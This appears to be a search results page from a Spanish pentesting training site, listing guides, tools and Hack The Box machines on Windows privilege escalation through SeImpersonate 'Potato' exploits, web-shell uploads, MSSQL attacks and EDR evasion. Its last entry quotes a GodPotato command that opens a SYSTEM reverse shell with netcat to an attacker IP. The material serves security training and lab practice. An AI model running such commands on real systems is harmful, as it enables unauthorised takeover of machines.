>_ PwnAtlas

Buscar en todo Ctrl K

Buscar en todo

35 resultados para «potato»

Guías 5

SeImpersonatePrivilege y Potatoes: de cuenta de servicio a SYSTEM en Windows Qué significa tener SeImpersonate, por qué lo tienen IIS y MSSQL, y qué Potato usar en cada Windows: PrintSpoofer, GodPotato, JuicyPotatoNG o RoguePotato.
Subida de ficheros maliciosos: cómo saltarse los filtros y conseguir una web shell Bypass de filtros de subida: extensiones alternativas, Content-Type, magic bytes, .htaccess y web.config, y cómo encontrar el fichero para ejecutarlo.
Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.
Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.
Cómo detectan los antivirus y EDR en Windows: AMSI, ETW, hooks, AppLocker y CLM explicados Qué mira Defender o un EDR al ejecutar una herramienta (firmas, AMSI, ETW, hooks, callbacks del kernel), cómo saber qué protege una máquina y qué son AppLocker y CLM.

Técnicas 1

SeImpersonate / Potatoes Escalada de privilegios Windows · 14 máquinas

Técnicas de MITRE ATT&CK 1

T1134.001 Suplantación de tokens MITRE ATT&CK · Escalada de privilegios, Evasión de defensas

Herramientas 1

winPEAS Revisa en Windows servicios, privilegios, credenciales guardadas, AlwaysInstallElevated y más vías de escalada. Chuleta y máquinas de HTB.

Recursos y herramientas 1

Escalada en Windows y Active Directory Comandos para enumerar Windows y pasar a SYSTEM (SeImpersonate, servicios, AlwaysInstallElevated, credenciales) y lo básico de Active Directory (Kerberoasting, AS-REP, BloodHound, DCSync).

Máquinas 14

Filtrar estas máquinas por dificultad y sistema →

Rutas de aprendizaje 1

De cero a OSCP Seis etapas en orden, de tu primer nmap al simulacro de examen: máquinas de Hack The Box, guías y chuletas para preparar la OSCP sin perderte.

Apartados de las guías 10

Comandos 1

SeImpersonate con GodPotato Escalada en Windows y Active Directory › Windows › Privilegios de token .\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"